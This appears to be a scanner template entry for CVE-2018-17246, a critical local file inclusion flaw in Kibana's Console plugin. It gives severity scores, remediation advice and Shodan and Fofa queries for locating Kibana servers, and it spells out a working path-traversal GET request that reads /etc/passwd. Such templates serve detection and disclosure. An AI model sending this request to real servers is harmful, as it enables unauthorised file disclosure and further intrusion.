| Title | Kibana - Local File Inclusion |
|---|---|
| Author | princechaddha,thelicato |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability allows an attacker to read arbitrary files on the server, leading to potential information disclosure and further attacks. |
| Remediation | Apply the latest security patches and updates provided by the vendor to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.93783 |
| CVE ID | CVE-2018-17246 |
| CWE ID | CWE-829,CWE-73 |
| Shodan Query | http.title:"kibana" |
| Fofa Query | title="kibana" |
| Tags | cve cve2018 lfi kibana vulhub elastic vkev vuln |
Kibana versions before 6.4.3 and 5.6.13 contain an arbitrary file inclusion flaw in the Console plugin. An attacker with access to the Kibana Console API could send a request that will attempt to execute JavaScript which could possibly lead to an attacker executing arbitrary commands with permissions of the Kibana process on the host system.
GET /api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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